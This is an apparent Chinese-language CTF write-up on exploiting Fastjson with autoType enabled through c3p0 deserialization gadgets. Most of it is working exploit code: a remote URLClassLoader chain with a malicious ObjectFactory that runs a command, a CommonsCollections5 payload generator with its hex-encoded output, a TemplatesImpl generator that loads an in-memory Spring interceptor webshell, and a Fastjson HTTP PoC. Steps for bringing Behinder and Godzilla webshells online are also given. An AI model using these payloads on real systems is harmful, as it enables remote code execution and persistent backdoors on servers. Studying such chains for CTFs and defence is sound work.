水一篇文章,思路很常见,不是什么很新的东西,没啥新的技巧,起因是在去年出 CTF 题目时想到的一个考点,题目是一道 spring + fastjson,但是忘记给白名单类了+题目不出网,并且是高版本 jdk,所以打起来会非常吃力,就想着能不能加一个 c3p0 来救一下场,于是就有了这篇文章

友情提示:相关技术已经过时,本文所涉及到的知识仅供参考,不具备任何攻击实战利用姿势
相关依赖,需要手动开启 autoType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency>
|
关键路由
1 2 3 4 5 6 7 8 9 10 11 12 13
| static { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); }
@PostMapping("/") public Object parse(@RequestBody String body) { try { Object obj = JSON.parse(body); return obj; } catch (Exception e) { return "error: " + e.getMessage(); } }
|
原理
Fastjson 就不用说了,大家懂得都懂,主要是 c3p0,这个在以前做 Java 课设的时候经常用到,那时候就在想有没有什么漏洞,一般来说 c3p0 作为 Java 生态中老牌的数据库连接池,在很多人的初学阶段都是 ComboPooledDataSource 直接梭哈,但是一般在搞安全的时候,可以通过 Reference 序列化机制允许通过远程地址加载资源,主要就是利用 com.mchange.v2.c3p0.JndiRefForwardingDataSource,如果你能控制它的 jndiName 属性,就能触发一个标准的 JNDI 注入,打法无非就这几种
- JNDI
- 十六进制序列化字节加载器
- URLClassLoader 远程类加载
URLClassLoader 远程类加载
先来说说这个东西,调用链 ``com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase的writeObject方法。该方法会尝试序列化connectionPoolDataSource属性,由于该属性通常为不可序列化的接口实现,程序会捕获NotSerializableException并进入catch` 块

在 catch 块中,程序调用 ReferenceIndirector#indirectForm。该方法通过 getReference() 获取对象的引用信息,并封装成一个 ReferenceSerialized 对象进行替代序列化

当目标机器触发 readObject 反序列化时,会调用 ReferenceSerialized#getObject 方法。该方法进一步调用 com.mchange.v2.naming.ReferenceableUtils#referenceToObject
1 2
| SerializableUtils.toByteArray(this.connectionPoolDataSource); oos.writeObject(this.connectionPoolDataSource);
|
在 referenceToObject 的第 36-52 行逻辑中,C3P0 会提取 Reference 中的 factoryClassLocation,如果该地址可控,程序将实例化一个 URLClassLoader 从远程地址加载并实例化(newInstance)恶意工厂类,从而导致任意代码执行。

我们接着跟进,会发现 com.mchange.v2.naming.ReferenceIndirector#referenceToObject 方法,在 36#52L 这几行,可以通过 URLClassLoader 实力化远程类,从而造成代码执行

也就是说由于目标类不在本地,C3P0 使用 URLClassLoader 根据 factoryClassLocation 提供的远程 URL 去下载并实例化恶意工厂类,有了思路,就可以编写 exp 了
Gadget:
1 2 3 4 5
| PoolBackedDataSourceBase#readObject() -> ReferenceSerialized#getObject() -> ReferenceableUtils#referenceToObject() -> Class#forName(className, true, urlClassLoader) -> ObjectFactory#getObjectInstance()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.naming.Context; import javax.naming.Name; import javax.naming.Reference; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; import java.io.IOException; public class Calculator implements ObjectFactory { static { try { Runtime.getRuntime().exec("open -a Calculator.app"); } catch (IOException e) { e.printStackTrace(); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package com.java_c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import java.io.*; import java.lang.reflect.Field; import java.sql.SQLException; import java.util.logging.Logger;
public class urlClassLoader { public static class MyLoader implements ConnectionPoolDataSource, Referenceable { @Override public Reference getReference() throws NamingException { return new Reference("Calculator", "Calculator", "http://127.0.0.1:89/"); } @Override public PrintWriter getLogWriter() { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException {} @Override public void setLoginTimeout(int seconds) {} @Override public int getLoginTimeout() { return 0; } @Override public Logger getParentLogger() { return null; } @Override public javax.sql.PooledConnection getPooledConnection() { return null; } @Override public javax.sql.PooledConnection getPooledConnection(String user, String password) { return null; } } public static void serialize(ConnectionPoolDataSource input) throws Exception { PoolBackedDataSourceBase pool = new PoolBackedDataSourceBase(false); Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); field.setAccessible(true); field.set(pool, input); Field tokenField = PoolBackedDataSourceBase.class.getDeclaredField("identityToken"); tokenField.setAccessible(true); tokenField.set(pool, "icecliffs_token"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urlclassloader.bin")); oos.writeObject(pool); oos.close(); } public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urlclassloader.bin")); Object obj = ois.readObject(); try { obj.toString(); } catch (Exception e) { } } public static void main(String[] args) throws Exception { System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); MyLoader myLoader = new MyLoader(); serialize(myLoader); deserialize(); } }
|
运行

JNDI
跳过
HEX序列化字节加载器
先来看看 Gadget,为
1 2 3 4 5 6 7 8
| PoolBackedDataSourceBase#readObject() -> WrapperConnectionPoolDataSource#readObject() -> C3P0ImplUtils#parseUserOverridesAsString(String) -> ByteUtils#fromHexAscii(String) <-- 十六进制解码 -> SerializableUtils#fromByteArray(byte[]) -> SerializableUtils#deserializeFromByteArray(byte[]) -> ObjectInputStream#readObject() -> (CC6 / TemplatesImpl / 7u21)
|
这里为什么说是二次反序列化,因为第一次反序列化,服务器解析了 PoolBackedDataSourceBase 对象,在第二次 C3P0 在恢复自身属性时,发现 userOverridesAsString 字段有内容,于是自动调用工具类将其 Hex 解码,并再次启动一个 ObjectInputStream 来解析这段数据,我们先跟进 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,会发现构造方法调用了 C3P0ImplUtils.parseUserOverridesAsString

接着跟进去,会发它不仅负责解析字符串,还硬编码了对 HexAsciiSerializedMap 这种特殊格式的处理,将原本安全的字符串配置转换成了二进制流

也就是说,我们如果要构造这个 hex 字符串,得满足
1
| HexAsciiSerializedMap:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
才可以,我们接着跟进 SerializableUtils.fromByteArray

再次跟进 Object var1 = deserializeFromByteArray(var0);

这里会发现内部直接 new 了一个 ObjectInputStream 并调用了 readObject(),这使得攻击者可以绕过任何 JSON 或 XML 解析器的安全检查,直接执行原始的 Java 序列化攻击,这里用 CommonsCollections5 打一个试试,添加一个依赖
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
|
然后就是常规的 cc5 exp 编写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package org.example;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class hexLoader { public static void main(String[] args) throws Exception { String command = "open -a Calculator"; byte[] cc5Bytes = generateCC5Payload(command); String hexPayload = bytesToHexString(cc5Bytes); String finalPayload = "HexAsciiSerializedMap:" + hexPayload + ";"; try { WrapperConnectionPoolDataSource wcpds = new WrapperConnectionPoolDataSource(); wcpds.setUserOverridesAsString(finalPayload); } catch (Exception e) { e.printStackTrace(); } } public static byte[] generateCC5Payload(String cmd) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valField = val.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(val, entry); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(val); return baos.toByteArray(); } public static String bytesToHexString(byte[] bArray) { StringBuilder sb = new StringBuilder(bArray.length); for (byte b : bArray) { String sTemp = Integer.toHexString(0xFF & b); if (sTemp.length() < 2) sb.append(0); sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
|
运行之后我们会得到
1
| ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000027372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E000578700000002F7400156F72672E6578616D706C652E6865784C6F6164657274000E6865784C6F616465722E6A61766174001267656E65726174654343355061796C6F61647371007E000B0000001571007E000D71007E000E7400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E001778737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E00307371007E00287571007E002C000000027070740006696E766F6B657571007E003000000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002C7371007E00287571007E002C000000017400126F70656E202D612043616C63756C61746F72740004657865637571007E00300000000171007E0033737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878
|

攻击 Fastjson
回到题目本身,来看看怎么打,由于我出的这道题目是不出网的,所以可以打内存马,一般不出网会用到下面这几条链
1 2 3 4
| com.mchange.v2.c3p0.WrapperConnectionPoolDataSource org.apache.tomcat.dbcp.dbcp.BasicDataSource org.apache.tomcat.dbcp.dbcp2.BasicDataSource org.apache.ibatis.datasource.unpooled.UnpooledDataSource
|
但如果目标环境是出网,并且你和我一样是懒人,那可以用许少他们写的 Java Chains 直接生成一条,省时省力,点 FastjsonPayload,依次点开 FastjsonC3p0(C3p0 1.2.47) > JavaNativeSerialization(Java Native Deserialization) > Fastjson(Fastjson deserialised chain) > TemplatesImpl(TemplatesImpl) > BytecodeConvert(handles bytecode) > Exec(Execute commands)

打一下

HEX序列化字节加载器上线冰蝎内存马
这个一般是在不出网 + 遇到 Fastjson 或者 Jackson 的情况,开始前,我们得先知道冰蝎的一个加载原理,这一部分可以看看作者的先知文章,写得很好
https://xz.aliyun.com/news/2424
接着网上随便找一个内存马改改,例如我这里是 Interceptor 马,大致原理如下
获取上下文控制权:利用反序列化或表达式注入漏洞,在内存中通过 RequestContextHolder 或遍历线程组寻找 WebApplicationContext,从而获得操作 Spring 容器内部组件的权限。
定位核心组件:通过反射机制定位到 Spring 处理路由的核心 Bean——RequestMappingHandlerMapping,在该对象中,存在一个存放所有拦截器的私有 List 集合(通常名为 adaptedInterceptors)。
动态插入恶意逻辑:编写一个实现 HandlerInterceptor 接口的类,并将其实例化后通过反射强行插入到该 List 的首位。由于拦截器在请求进入 Controller 之前执行,木马可以在 preHandle 方法中截获 HTTP 请求,判断特定参数并执行系统命令。
缝合一下 cc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap;
public class Generator { public static void main(String[] args) throws Exception { byte[] classBytes = Files.readAllBytes(Paths.get("target/classes/InjectToInterceptor.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); setFieldValue(templates, "_name", "1"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); HashMap<String, Object> map = new HashMap<>(); map.put("trigger", templates); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); String hex = bytesToHex(baos.toByteArray()); System.out.println("HexAsciiSerializedMap:" + hex); } private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } private static String bytesToHex(byte[] bytes) { StringBuilder sb = new StringBuilder(); for (byte b : bytes) { sb.append(String.format("%02x", b)); } return sb.toString(); } }
|

构造 fastjson poc
1 2 3 4 5 6
| POST / HTTP/1.1 Host: icecliffs.gov:9090 Content-Type: application/json Content-Length: 21135
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:你猜;"}}
|

打一个回显


然后缝合一下冰蝎,在打一下


HEX序列化字节加载器上线哥斯拉
一样的逻辑,不写了
查杀
有空再写吧